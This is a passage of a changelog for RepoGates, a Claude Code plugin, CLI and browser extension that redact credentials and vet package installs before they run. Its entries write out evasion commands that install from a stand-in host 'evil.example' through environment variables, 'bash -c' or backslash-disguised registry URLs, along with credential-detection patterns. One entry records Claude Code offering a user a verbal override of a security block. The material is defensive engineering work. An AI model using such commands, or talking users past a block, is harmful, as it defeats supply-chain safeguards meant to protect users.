Security: Credential headers. The value after “Authorization:”, “Proxy-Authorization:”, “Cookie:”, “PRIVATE-TOKEN:”, “JOB-TOKEN:” and “DEPLOY-TOKEN:”, and after any header named “…-Token”, “…-Key”, “…-Secret”, “…-Auth” or “…-Password”. Any case. This covers “curl -H”, “wget --header”, “git -c http.extraHeader=” and “GIT_CONFIG_VALUE_0”. The scheme word stays: “Authorization: Bearer $REDACTED”.
Security: A user:password after “-u”, “--user” or “--proxy-user”. Only when it holds a colon. pip&#x27;s “--user” is a switch, and “pip install --user flask” is sent as written.
Security: Credential options. The value after “--password”, “--passwd”, “--http-password”, “--ftp-password”, “--proxy-password”, “--token”, “--access-token”, “--auth-token”, “--api-token”, “--private-token”, “--api-key”, “--client-secret”, “--secret” and “--oauth2-bearer”.
Security: npm&#x27;s and yarn&#x27;s auth keys. “_authToken”, “_auth”, “_password”, “npmAuthToken” and “npmAuthIdent”, with “=” or with a space (“npm config set //registry.npmjs.org/:_authToken npm_…”).
Security: Key=value pairs whose key names a credential. The key ends in token, key, secret, password, signature, sig, credential, auth, jwt or bearer. That covers a raw GitHub URL&#x27;s “?token=”, GitLab&#x27;s “private_token=”, a presigned URL&#x27;s “X-Amz-Signature=”, and “-e &quot;GITHUB_TOKEN=…&quot;” in quotes, which the assignment rule did not reach. “&amp;private_token=” was cut before only by accident: “&amp;” opens an assignment.
Security: Token shapes anywhere. GitHub (“ghp_”, “gho_”, “ghu_”, “ghs_”, “ghr_”, “github_pat_”), GitLab (“glpat-”), npm (“npm_”), Hugging Face (“hf_”), PyPI (“pypi-”) and Anthropic (“sk-ant-”): “echo ghp_… | gh auth login --with-token” too.
Security: A tab inside a URL&#x27;s user name. The WHATWG URL parser removes tabs, so “&#x27;https://user:ghp_A&lt;TAB&gt;B@github.com/o/r&#x27;” is github.com with that credential. The user-name rule stopped at the tab.
Security: The line is read as the shell will hand it over. Before anything is sent, the hook also reads each word the way the shell will pass it to the tool: quotes and escaping backslashes removed, a line that ends in a backslash joined to the next, “$&#x27;…&#x27;” decoded, a comment and a heredoc body left as typed, and one “$” for each variable or command substitution. A word that still holds a user name or password in a URL there, or a token shape, is sent as that reading with the credential cut out, in single quotes. The examples above are sent as “git clone &#x27;https:///github.com/o/r&#x27;” and “git clone &#x27;https://github.com/o/r&#x27;”. Every other word is sent as typed. If the cut leaves anything behind, the word is sent as “$REDACTED”.
Security: A line with a rebuilt word is never a PASS. Where this reading and the shell&#x27;s differ, the rebuilt word may not be what the command fetches, so the service&#x27;s allow becomes an ask, and the ask says so. A deny stays a deny.
Security: A token the shell assembles is found by its shape. “gh&quot;p_…”, or a line continuation inside a token, is a token only in the shell&#x27;s reading; there it is found by its shape and the word is rebuilt with “$REDACTED” in its place. The shapes are the check-up CLI&#x27;s (GitHub, GitLab, Slack, AWS, Anthropic and OpenAI-style keys, JWTs, RepoGates&#x27; own tokens), and a test holds the two lists equal; npm (“npm_”) and PyPI (“pypi-”) tokens are added. A shape must start a word or follow a character that cannot be part of a name, so a repository called “sk-…” on github.com is not cut, and must hold a capital letter: an npm package cannot have one, and a token without one is about a one-in-a-million chance. A token written whole on the line as typed is not cut by this change.
Changed: Under C. The same lines take 0.14 s and 0.24 s. macOS sed and grep were never affected: they are linear in either locale.
Changed: C is also how bash reads the line. bash splits words on ASCII whitespace only, and every character the hook&#x27;s patterns stop at is ASCII. The tests have always run the hook under C, because they set no locale.
Changed: The first of “?”, “#” and a backslash is the one kept. “https://a?b\c@h” is sent as “https://?@h”, “https://a\b?c@h” as “https://\@h”. Each makes the service ask.
Changed: A shell expansion in a user name is kept as “$”. The shell replaces “$…” and backticks before the tool reads the URL, so the service cannot tell what the line names, and asks about a variable or subshell. The redaction cut the expansion away with the user name and the ask went with it; this is older than 0.9.13 and holds for “ssh://” too. Any expansion before the @ now leaves “$” in its place, whatever else is there: “https://x-access-token:${GITHUB_TOKEN}@github.com/o/r” is sent as “https://$@github.com/o/r”. The service asks about that line, as it does about the line itself, and still assesses o/r. A registry URL written that way is asked about too (“_registry_of” treats “$” and a backtick as it treats a backslash).
Changed: After “//” and a backslash the @ is kept. “https://\x@github.com/o/r” was sent as “https://\github.com/o/r” by RG-178&#x27;s rules, which the service&#x27;s URL parser reads as the host “\github.com”: a quoted clone or archive URL of that shape named nothing. It is sent as “https://\@github.com/o/r”, as 0.9.13 sent it. A user name that begins with an @ is cut too.
Changed: Up to 64 KB, and a longer line is not sent. The service reads at most 8,192 bytes and refuses a longer line unread, so a line over 64 KB is asked about without being sent. At 64 KB a pass takes 0.7 s with busybox awk and under 0.1 s with macOS awk and mawk.
Changed: Now the hook measures what it would send and asks itself, in the service&#x27;s words, with the size and the limit: &quot;command too long to assess (N bytes; the verdict service reads at most 8192). It was not sent, so this command was NOT assessed.&quot; It measures bytes, as the service does, never characters; the redacted line, which “REDACTED” can make longer than the one typed (and a credential cut from a URL shorter); and then the request body, where a quote, a backslash or a character outside ASCII takes more room escaped. Nothing leaves the machine.
Changed: The line as typed is bounded first (RG-191). Over 64 KB as typed, the line is asked about before any redaction rule reads it, in the words of the bound on the shell&#x27;s reading (RG-186). Not every rule is linear on every line, even under C: “https:” repeated up to a tab, with a real user name later on the line, held RG-178&#x27;s and RG-182&#x27;s rules 14.7 s at 256 KB (GNU sed 4.9, 6 October 2026). Just under 64 KB the whole hook takes 1.1 s; a 256 KB line is now asked about in 0.03 s.
Fixed: What was slow. Measured on 6 October 2026 in Debian bookworm under “C.UTF-8”. “git clone &#x27;https://”, 1 MB of “:”, a tab and “x/@&#x27;” held the hook 45 s in the URL user-name rule, and 2.8 s at 256 KB. With a backslash before the @, the backslash rule added as much again. “npm i x”, 256 KB of letters, 256 KB of spaces and “/=” held it 21 s. Half of that was the assignment rule. The other half was the fast path&#x27;s owner/repo check, which runs before anything is sent.
Fixed: Printable ASCII is the byte range 0x20-0x7E. The hook now writes it as that range (“tr -cd &#x27;\040-\176&#x27;”), not as a class. Under the C locale “[:print:]” keeps exactly those 95 bytes on GNU tr and on macOS tr, so nothing changes there: on five inputs, main&#x27;s output under GNU and under macOS&#x27;s C locale is byte for byte the new output. Busybox tr has every other class the hook uses (“[:space:]”, “[:upper:]”, “[:lower:]”); only “[:print:]” and “[:graph:]” are missing, and the hooks use neither with tr any more. A test now fails if one comes back.
Fixed: A reason with a byte that is not UTF-8 is no longer emptied on macOS. In a UTF-8 locale macOS sed exits with no output on such a byte, so the whole reason vanished. In the same locale macOS tr&#x27;s “[:print:]” kept non-ASCII letters, so &quot;printable ASCII&quot; did not hold there either. Each step now runs under “LC_ALL=C”.
Fixed: A header that is not UTF-8 no longer turns a deny into an ask on macOS. The hook read the response headers with “tr -d &#x27;\r&#x27;”, and in a UTF-8 locale macOS tr stops at the first byte that is not UTF-8. Every header after that byte was lost, so a deny reached Claude Code as &quot;the verdict service gave no decision&quot;, which is an ask. GNU grep in the same locale reads such a response as binary and drops the reason. The service sends ASCII, but a proxy between it and the hook need not. The headers are now read as bytes, under “LC_ALL=C”.
Fixed: The last resort reads a command in time proportional to its length. Without jq or python the hook unescapes the command&#x27;s JSON string itself, in awk. It built the command one character at a time, and mawk and BWK awk (the awk of macOS) copy the whole string at every character. It now splits the string once, at every backslash, and prints each piece as it comes to it. The whole hook with no jq and no python, at 128 KB, 256 KB, 512 KB and 1 MB of that line, measured the same day:
Fixed: The body sent to the service is built by sed. The last resort&#x27;s JSON body was awk&#x27;s gsub, and that went wrong two ways. BWK awk&#x27;s gsub is quadratic too (4.4 seconds for this line at 1 MB). And under mawk and busybox awk, “gsub(/\\/, &quot;\\\\&quot;)” puts back one backslash, not two, so a backslash in the command was sent single: “a\b” reached the service as a, a backspace and b, and “&quot;q\&quot;x&quot;” as JSON it could not read (an ask). The service was judging a line other than the one that runs. gawk and BWK awk doubled it. sed now escapes the backslash, the quote, the tab and the newline, the same under BSD, GNU and busybox sed.
Fixed: A scheme name inside a word is not a scheme. “news:a@b”, “aws:x@y”, “sftp:u@h” and an image digest such as “docker/news:1.0@sha256:…” are sent as written. “git+https:”, “url.https:” and “\https:” count, because a tool reads a URL there.
Fixed: The rules no longer cut across a quote. “git clone &quot;https://x:y&quot;@github.com/o/r” lost its closing quote with the password, and every quote after it on the line then read the other way round. The “NAME=value” rule keeps its old reading, in which a quote is an ordinary character. Vertical tabs, form feeds and STX bytes are dropped from the line.
Fixed: A space in a password is part of the password. Measured the same day with two loopback listeners: npm 11.17.0 and uv 0.11.14 took the text before the @ as the credential, space and all, and connected to the host after it; uv sent it as Basic auth. curl 8.7.1 and git 2.50.1 refused the URL. So a blank inside a quoted URL (“&#x27;https://…&#x27;”, “--registry=&#x27;https://…&#x27;”) or an escaped blank counts as part of the word. A blank in a quoted sentence that does not begin with a URL is still a space (“git commit -m &quot;see https://example.com, ping me@x.com&quot;”).
Fixed: A longer line could not be sent at all. The hook hands curl the request body as one argument. Linux allows 128 KB for one argument and macOS 1 MB for all of them together; past that bash could not start curl (exit 126), and the ask said the service could not be reached. It was an ask, so nothing ran unseen, but it named the wrong cause.
Fixed: A 413 says what it is. The service can still refuse a line the hook let through: if its limit moves, or for a byte that is not UTF-8, which jq sends as a three-byte replacement character. The ask now carries the service&#x27;s reason instead of &quot;answered 413&quot;.
Fixed: Exit 126 or 127 is curl not starting. Those codes are the shell&#x27;s; curl&#x27;s own stop below 100. The ask says curl could not be started and nothing was sent, instead of &quot;could not reach&quot;.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.13</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-13"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.13</id>
    <updated>2026-10-05T00:00:00Z</updated>
    <content type="text">Security: A registry named on the line reaches the command behind it. “npm_config_registry=https://evil.example bash -c &#x27;npm install express&#x27;” and “pnpm --registry https://evil.example exec npm install express” install from that registry: a child process inherits the environment, and npm hands its options to what it runs as “npm_config_*” variables. The command string was read as a line with no registry named, and “express” was looked up on the public one. It is now asked about, as “npm install --registry …” is. This holds behind “bash -c”, “eval”, a heredoc, “npm exec -c”, “exec”, and the words in front. The first five read this way before 0.9.13; the review of this version&#x27;s push pointed at the class. An option reaches the command its own tool runs and no other command on the line. The other family&#x27;s packages are not moved: with an npm registry named, “bash -c &#x27;pip install flask&#x27;” still looks “flask” up.
Security: A backslash in a registry&#x27;s address. npm reads a backslash in a URL as a slash: to npm, “--registry &#x27;https://evil.example\@registry.npmjs.org/&#x27;” is the host “evil.example” (11.17.0, run). The service read “evil.example\” as a user name and the public registry as the host, and looked the package up there. And the hook, which cuts a user name out of a URL before the line leaves the machine, cut “evil.example\” and sent the public registry&#x27;s address. Now a registry value with a backslash in it is asked about. The hook still cuts the text before the “@”, since it may be a credential, and leaves one backslash in its place. Older than 0.9.13.
Added: “npm link &lt;package&gt;” installs the package. When the package is not installed globally, npm installs it from the registry first and then links it (npm 11.17.0, “lib/commands/link.js”). The line named nothing. It is now read as an install of that package: “npm link express”, “npm ln express” and “npm lin express”. “ln” is npm&#x27;s alias, and “lin” is the one abbreviation npm resolves to link (“npm li” is refused: it is also “list”). A repository after link is assessed as that repository (“npm link owner/repo”). A registry named on the line is asked about, as after install.
Added: “yarn workspaces foreach” runs a yarn command in each workspace (yarn 2 and later). “yarn workspaces foreach -A add lodash” installs lodash in every workspace, and it named nothing. The command after foreach&#x27;s own options is now read as the yarn command it is: “add”, “up”, “create”, “dlx”, and “exec” with the command line after it.
Added: foreach&#x27;s options are its own. They are read from yarn&#x27;s CLI reference (4.18.1-dev). “--from”, “-j” / “--jobs”, “--include” and “--exclude” take a value. “-A”, “-R”, “-W”, “-p”, “-i”, “-t”, “-v”, “-n”, “--topological-dev” and “--no-private” take none, and the one-letter ones may be written together (“-Apt”). “--since” may stand alone or carry a ref. After it, and after any option that is not in this list, the next word is read as the option&#x27;s value and as the command.
Added: A command behind a word in front. “yarn workspace web exec npm install x” and “pnpm recursive exec npm install x” run that command line. It was read only when “exec” was the tool&#x27;s own verb. It is now read behind “yarn workspace &lt;name&gt;”, “yarn workspaces foreach”, “yarn global” and pnpm&#x27;s “recursive”, “multi” and “m”. The hook also sends “yarn workspace web dlx &lt;package&gt;”: the service read it in 0.9.12 and the hook did not send it.
Changed: A line with more than eight places where a verb may stand is asked about, as before. That now holds when the last of them is an “exec”.
Fixed: Every package manager on the line has its options read. Only the first word that names one did. With a user called npm, “sudo -u npm pip install -i https://evil.example/simple flask” was read for npm&#x27;s options, and “flask” was looked up on PyPI. “sudo -i pip install flask” is still sudo&#x27;s “-i”.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.12</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-12"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.12</id>
    <updated>2026-10-04T00:00:00Z</updated>
    <content type="text">Security: A capital in an option. The hook reads the line in lower case, and “-W” or “--PREFIX” is another option than “-w” or “--prefix”. So is an option written with a look-alike capital: under a UTF-8 locale “--worKspace” with a Kelvin sign for the K lower-cases to “--workspace”, the hook took the next word for its value, and the line was not sent. When the name of any option on the line holds anything but small letters, digits and dashes, the hook skips no option&#x27;s value: after an install verb, after “npx”, and after pip&#x27;s verbs. “pip install -I flask” is sent (“-I” is “--ignore-installed”; read as “-i” it took “flask” for the index). The price: a line such as “pip install -U -r requirements.txt” is sent too, and the service reads nothing in it.
Added: npm&#x27;s other spellings of install and update. “npm instal”, “insta”, “isnt”, “isnta” and “isntal” are aliases of install in npm&#x27;s own command list; “npm u” and “npm udpate” are update; “npm it” is install-test. None was read. npm also resolves any unique abbreviation (“npm upd”, “npm upg”). Which ones are unique depends on the npm installed: “npm ad x” installs x with the command list in npm&#x27;s repository and is refused by 11.17.0. So every abbreviation of these words is read. “bun a” is “bun add”. pnpm, yarn and bun resolve no abbreviation.
Added: A word in front of the command. “yarn workspace &lt;name&gt; add &lt;package&gt;” and “yarn workspace &lt;name&gt; create &lt;name&gt;” run that command in the workspace; “pnpm recursive add” (also “multi” and “m”) and “yarn global upgrade” are read as the command after them.
Changed: npm&#x27;s list is what npm has read a value for since 7.0.0. A younger option is a switch to an older npm, which installs the word after it: “npm install --install-strategy nested express” looks up “nested” beside “express”. The lists of pnpm, yarn and bun are those of their current sources; when each option arrived was not established.
Changed: A line with more than eight places where a verb may stand is asked about.
Fixed: Each tool has its own options that take a value. One list served all four. “npm install --filter evilpkg” named nothing: “--filter” is pnpm&#x27;s option, npm reads an option it does not know as a switch, and npm installs “evilpkg”. So did “npm install --dir owner/repo”, and “--cwd”, “--modules-folder” and “--cache-dir” under npm. The other way round, “pnpm add -w lodash” named nothing, because npm&#x27;s “-w” takes a value and pnpm&#x27;s is a switch; and the hook did not send “yarn add -W react”, “npm install -p express” (npm&#x27;s “-p” is “--parseable”) or “bun add -p zod”. Now only the value of an option that tool is known to read one for is skipped. After any other option the next word is read as a package as well.
Fixed: A registry named another way is still another registry. “--reg” is npm&#x27;s shorthand for “--registry”, and npm resolves “--registr” and “--regi” too, with one dash or two. “npm install --reg https://evil.example express” was looked up on the public registry; it is now asked about. So is a scoped registry: “--@acme:registry=URL”, or “npm_config_@acme:registry” in the environment, moves the packages of that scope and no others. pnpm sets any key with “--config.&lt;key&gt;=&lt;value&gt;” and reads “pnpm_config_registry” from the environment, so “pnpm add --config.registry=URL express” and “pnpm_config_registry=URL pnpm add express” are asked about too.
Fixed: The verb is found where the tool finds it. “npm --filter create evilpkg” runs “create-evilpkg”; the service took “create” for the value of “--filter” and read nothing. After an option whose value is not known, the next word is read as that value and as the verb. bun reads no option&#x27;s value before its command (“bun --filter create x” is create; “bun --cwd ./app add x” runs “./app”, measured on 1.3.14).
Fixed: A tool word in capitals is that tool. “NPM create evilpkg” runs npm on a file system that ignores case. This holds for every tool the service reads (“GIT clone”, “PIP install”). A capital in npm&#x27;s verb names no command: “npm I x” is refused by npm and reads as nothing.
Fixed: Six lines 0.9.11 listed as not seen are read: “npm install -P express”, “yarn add -W react”, “pip install -I flask”, “npm --omit dev install express”, “pnpm add -w lodash”, and “yarn workspace &lt;name&gt; add &lt;package&gt;”; so are npm&#x27;s shorter spellings of install. “npm exec” finds its verb the same way: “npm --filter exec some-package” is read.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.11</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-11"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.11</id>
    <updated>2026-10-04T00:00:00Z</updated>
    <content type="text">Security: The hook&#x27;s own time no longer grows with the number of chained commands. Each “;”, “&amp;&amp;” or “|” segment cost the hook several processes. An 8 KB line of “:;” followed by one install took 11 to 13 seconds, measured three times; Claude Code stops a hook at 15 seconds, and the command then runs. The same line now takes about 0.15 seconds.
Added: “npm exec” and “npm x” name the package they download and run, as “npx” does: npx is “npm exec” under another name. “npm exec create-vite”, “npm x -- create-vite” and “npm exec --package=typescript -- tsc” are resolved and assessed, and so is “npm exe”, the abbreviation npm accepts. The rule was read from npm 11.17.0 itself: with “--package”, those packages are what is installed and the word after is only the command; without it, the first word that is not an option. npm reads its options on both sides of that word, up to “--”. Under npm, “-p” is “--parseable”, not “--package”: the word after it is then the first word, so the same package is found.
Added: “pnpm dlx &lt;package&gt;” and “yarn dlx &lt;package&gt;” are sent. The service already read them; the hook sent them only for the skills and ClawHub command lines.
Changed: An option whose value is not known is read both ways. After “npm exec”, only the values npm is known to read are skipped. After any other option the next word is read as the package too: “npm exec --dir evil-pkg” runs “evil-pkg”, because “--dir” means nothing to npm. A line with more than eight such options is asked about.
Fixed: Options before the verb. “npm -g install typescript”, “npm --silent install express”, “npm --yes create vite”, “pnpm --filter web create vite”, “pip --quiet install flask”, “python -m pip -q install flask” and “uv --quiet add flask” were not sent to the service: the hook looked for the verb directly after the tool. The service reads every one of them. Any option may now stand between the two, with or without a value (“npm --prefix ./app install express”, “uv --project ./app add flask”). The hook keeps no list of which options take a value there: the word after an option is read both as its value and as the verb. A line that names no package after the verb still stays on the machine: “npm --prefix ./app install”, “npm --silent test”, “npm -g ls”, “pip --quiet install -r requirements.txt”.
Fixed: A runner installs the package its option names. “npx -p typescript tsc” was assessed as the npm package “tsc”, which is another package. So were “bunx -p”, “pnpm dlx --package” and “yarn dlx -p”. The package the option names is now the one assessed — beside the skill or repository of a “skills add”, “clawhub install” or “degit” line too — and “npx --package=x -c &#x27;command&#x27;” is sent to the service.
Fixed: A runner&#x27;s package is read as the runner reads it. “npx foo@npm:other” runs the package “other”, and “npx foo@github:owner/repo” runs that repository; both were answered with nothing. The first is now assessed as “other”, the second as the repository, and a URL or a file in the version&#x27;s place is asked about. So is a word after “--” that starts with a dash, and a name with a glob in it. The same under “bunx”, “pnpm dlx”, “yarn dlx” and “npm exec”.
Fixed: The command a runner runs is read as a command. The string after “-c” or “--call” (“npx -c &#x27;npm install x&#x27;”, also “-yc”, which npm reads as “--yes --call”) and a command word that is itself a tool (“npx gh repo clone owner/repo”, “npm exec -- npm install x”) were not read. They are now, beside the package of that name. Commands nested deeper than five levels were answered with nothing, and are asked about.
Fixed: Every word after the first verb is read. The hook read only the words after the last verb on a line. “bun”, “add”, “npm” and “i” are packages too, so “npm install some-package bun add” ended on “bun add”, found nothing after it, and was not sent.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.10</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-10"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.10</id>
    <updated>2026-10-04T00:00:00Z</updated>
    <content type="text">Added: “create” under npm, pnpm, yarn and bun, and npm&#x27;s “init” and “innit”, name the package they run. “npm create vite@latest”, “npm init vite”, “pnpm create next-app”, “yarn create react-app my-app” and “bun create vite app” are resolved as the npm package “create-&lt;name&gt;”: a scope alone (“@scope”) is “@scope/create”, and “@scope/name” is “@scope/create-name”. RepoGates asks npm which source repository that package declares and assesses it, exactly as for “npm install create-vite”.
Added: Every spelling of the verb. npm resolves a unique abbreviation of a command, so “npm cr vite” and “npm ini vite” are read too; so is bun&#x27;s “bun c vite”.
Added: Each tool&#x27;s own rule for the name. A name that already starts with “create-” is kept by pnpm and by yarn 2 and later, and prefixed again by npm, yarn 1 and bun. The line does not show which yarn is installed, so for yarn both packages are assessed. “bun create elysia”, “elysia-buchta” and “stric” are bun&#x27;s own templates under “@bun-examples”; “bun create react” and “bun create next” only print a message and name nothing.
Added: What follows the name is a version only when it is one. “vite@latest” and “vite@^5” are “create-vite”. “vite@npm:other” runs the package “other”, and that one is assessed. “vite@github:user/repo” runs a repository, and that one is assessed. A tarball URL, a “file:” path or a variable there is asked about.
Added: A repository where a name belongs. “bun create user/repo” is that repository, as in 0.9.9. “npm init user/repo” runs the repository “user/create-repo”, and that one is assessed. Under pnpm and yarn the line is asked about.
Added: An option before the name does not hide it. The tools disagree on which options take a value (“-p” is “--parseable” to npm and “--package” to yarn; “bun create” has no option with a value). Where the word after an option may be its value or the initialiser, both are assessed: “npm create --otp 123456 vite” looks up “create-123456” as well as “create-vite”. The values of npm&#x27;s own “--scope”, “--registry”, “--workspace” and “--init-*” options are never read as an initialiser (as npm 7 and later read them).
Added: A word that does not look like a name is still read as one where the tool does. “bun create -x” runs “create--x”, any tool runs the word after “--”, and pnpm, yarn and bun run “create-.x” for “.x” (npm reads a leading dot as a path and runs nothing). A glob in the name is asked about.
Changed: A registry override on the line (“--registry”, “npm_config_registry”) turns an initialiser into an ask, as it does for any package.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.9</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-9"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.9</id>
    <updated>2026-10-04T00:00:00Z</updated>
    <content type="text">Security: A URL that climbs is asked about. “github.com/torvalds/linux/../../o/r” was assessed as “torvalds/linux”. A “.”, “..” or “%2e” segment now makes the URL unresolvable.
Security: A package from another registry is asked about, not looked up. With “--registry”, “--index-url”, “--extra-index-url”, “--find-links” or the matching environment variable (“PIP_INDEX_URL”, “npm_config_registry”, “UV_INDEX_URL”) on the line, the public registry&#x27;s record does not describe what is installed. Naming the public registry itself changes nothing. “git -c url.X.insteadOf=…” does the same to a clone.
Added: New verbs: “hub clone”, “brew tap” and “brew install user/repo/formula” (the tap repository), “bun create user/repo”, “gh api” on a code endpoint, “gh run download -R”, “gh repo create --template”, and an npm alias (“name@npm:other” is the package “other”).
Changed: A brace or glob expansion in the target is asked about, and a URL inside one is assessed as well.
Changed: A command word that is a variable or a subshell (“$G repo clone o/r”, “$(echo gh) repo clone o/r”) is asked about when what follows reads as a fetch by gh, glab, hf, hub, “docker extension” or “claude plugin”, and what it would fetch is assessed. A hidden npm or pip is not guessed at: “$X install o/r” cannot be told from “$MAKE install build/release”.
Fixed: A command continued with a backslash is one command. “gh repo clone \” on one line and “owner/repo” on the next was read as two commands, and neither named a repository. The same for “npm install”, “pip install”, “hf download”, “docker extension install”, “code --install-extension” and “claude plugin install”. Before 0.9.9 a continued “npm install \” / “express” was not sent to the service at all.
Fixed: Other spellings of GitHub are GitHub. “github.com.” with a trailing dot, “ssh.github.com”, “raw.github.com”, and the paths of “api.github.com” that fetch code (“/repos/o/r/tarball”, “zipball”, “contents”, “git”, a release asset, an Actions artifact). The same trailing dot on gitlab.com and huggingface.co. A host written with a look-alike letter is asked about.
Fixed: A URL inside an option or a command string is read. “--opt=URL”, “-c key=URL”, and text handed to a shell or a language runtime: “python3 -c”, “node -e”, “ruby -e”, “perl -e”, “su -c”, “script -c”, “env -S”, and a shell anywhere on the line (“screen -dm bash -c”, “busybox sh -c”). A commit message or a pull-request body is not a command and is still not searched.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.8</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-8"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.8</id>
    <updated>2026-10-04T00:00:00Z</updated>
    <content type="text">Security: The token goes only to RepoGates. The CLI took its API address from “--api-base” or “REPOGATES_API_BASE” and accepted any http(s) host. A project sets its own environment (“.claude/settings.json” “env”), so a check-up run inside a hostile repository would have posted the API token and the inventory to the host it named. The CLI now sends only to “repogates.com” over https, or to this machine over http on a named port; for anything else the token is not read, nothing is sent and the run is an offline one that says why. The hook has refused such an address since 0.9.2; the CLI had not.
Security: A crafted file can no longer hang the check-up. The patterns the CLI reads files with are the engine&#x27;s, and five of them took time that grew with the square or the cube of a line&#x27;s length: “bash -c ” repeated through a 64 KB SKILL.md did not return for hours. Rules version 5 rewrites them to run in linear time; the same lines match. A CLI with a token gets the served rules at once, whatever its version; 0.1.2 bundles them for an offline run.</content>
  </entry>
  <entry>
    <title>Check-up CLI 0.1.2</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#cli-0-1-2"/>
    <id>tag:repogates.com,2026:changelog/cli/0.1.2</id>
    <updated>2026-10-04T00:00:00Z</updated>
    <content type="text">Security: The API token is sent only to “repogates.com” over https, or to this machine over http on a named port; for any other address the token is not read and nothing is sent (SEC-39).
Security: A crafted file can no longer hang the check-up: the patterns it reads files with run in linear time (rules version 5, bundled for an offline run).</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.7</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-7"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.7</id>
    <updated>2026-09-30T00:00:00Z</updated>
    <content type="text">Changed: The hook&#x27;s deny adds &quot;or offer to override the block&quot; to the no-route sentence (worst case 896 of its 900 characters, link included).
Changed: The MCP server says the same in every BLOCK error, the tool descriptions and its instructions (the server is deployed separately; no plugin update needed for it). “/repogates:scan” and the tools page too.
Changed: The claims guard pins the clause on the skill, the scan command and the tools page, and refuses any wording that invites the user to state an override.
Fixed: Claude Code in VS Code refused the canary correctly, then ended with &quot;If you actually want this repo&#x27;s files despite the block, tell me that you&#x27;re deliberately overriding RepoGates for it&quot; — an override offered in words. The vetting skill had told it &quot;If the user insists after being told why, that is their decision to state explicitly&quot;: an invitation to ask for one. The skill now says a BLOCK is not lifted in conversation — no offer to override it, no invitation to insist or to confirm the risk — and that if the user insists anyway the BLOCK still stands in that session. Its &quot;Anywhere else&quot; line says the user decides on a warning, not on a BLOCK.</content>
  </entry>
  <entry>
    <title>Browser extension 0.8.4</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#extension-0-8-4"/>
    <id>tag:repogates.com,2026:changelog/extension/0.8.4</id>
    <updated>2026-09-30T00:00:00Z</updated>
    <content type="text">Served: 30 September 2026 (Chrome Web Store).
Added: Tab lineage reaches gitlab.com and huggingface.co. The agent-provenance check (G22 on gitlab.com, H18 on huggingface.co) read only the page&#x27;s referrer there, and assistants commonly open links with the referrer stripped — so a project or model opened from claude.ai or chatgpt.com that way left no provenance, and neither check fired. The tab you came from (the previous page in the same tab, or the tab that opened this one) is now read on both hosts as on github.com, and the record is kept under the key the board and the download gate already use (“gl/&lt;namespace…&gt;/&lt;project&gt;”, “hf/&lt;kind&gt;/&lt;org&gt;/&lt;name&gt;”): background.js hands provenance.js the gate&#x27;s own parsers. A gitlab.com group or explore page and a Hub listing record nothing and, like a GitHub topic page, break the lineage to the next project page. No new permission; nothing new leaves the browser.
Changed: The block page&#x27;s second button names the site the download came from: Back to GitHub, Back to GitLab, Back to Hugging Face, or &quot;Go back&quot; when the key is none of those (smoke run S06, S07: it said GitHub on all three).
Changed: Options → AI agents: the Gemini CLI line adds the server for the user (“--scope user”, not the current project only) and says to run “/mcp auth repogates” to sign in (smoke run S26, #281).
Fixed: Save Page As is checked. Saving a raw file with Ctrl/Cmd+S (smoke run S05: a 612-byte “CLAUDE.md” from a repository the same browser blocked as a ZIP) wrote it to the downloads folder with no verdict, no page and no audit row. Chrome names a saved page before the download exists, so the hold every other download gets (“onDeterminingFilename”) never happens. A new late path picks these up: at creation (a running download that already has a filename) and when a download is named without the extension, finishes, or resumes. It decides as the gate does; if the file is still being written it is cancelled (“late-blocked” / “late-warned”); if it was already written it is deleted (wherever it was saved) and erased from the downloads list (“removed-blocked” / “removed-warned”, or “remove-failed-…” with the file named when it could not be deleted). The block page says what happened to the file and no longer claims it was &quot;cancelled before it reached your downloads folder&quot; when it was not. The bytes do reach the disk until the decision; a page saved from a view that is not a download (a blob view, a GitLab issue page) is not gated.
Fixed: The same read-back now follows the gate&#x27;s own cancel: a decision that outlives Chrome&#x27;s 15-second hold finds a small file already written and deletes it instead of recording &quot;blocked&quot; beside a file on disk.
Fixed: One owner per download: the gate claims a download before its first await; the backstop skips anything the gate holds or has decided, including a decision made by an earlier service worker (kept for the browser session), so no download is cancelled or deleted twice.
Fixed: The console error &quot;Unchecked runtime.lastError: Download must be in progress&quot; on every block came from the gate&#x27;s own “suggest()” after its own cancel, which Chrome refuses. The hold is now released only while there is one. Every new “chrome.downloads” call reads “lastError”.</content>
  </entry>
  <entry>
    <title>Claude Code plugin 0.9.6</title>
    <link rel="alternate" type="text/html" href="https://repogates.com/changelog.html#plugin-0-9-6"/>
    <id>tag:repogates.com,2026:changelog/plugin/0.9.6</id>
    <updated>2026-09-27T00:00:00Z</updated>
    <content type="text">Added: “npx clawhub@latest install @owner/slug” is judged on the skill it names. Before, only the npm package “clawhub” (the CLI) was assessed, so a skill from a named campaign came back as an ask about the CLI instead of a block. The same for “bunx”, “pnpx”, “pnpm dlx” and “yarn dlx”, a package named with “-p” / “--package” before the command, and “update”. The CLI package is still assessed beside the skill.
Added: “npx -p skills skills add owner/repo”, “pnpm dlx skills add owner/repo” and “yarn dlx skills add owner/repo” are judged on the skill source they name, like “npx skills add owner/repo”.
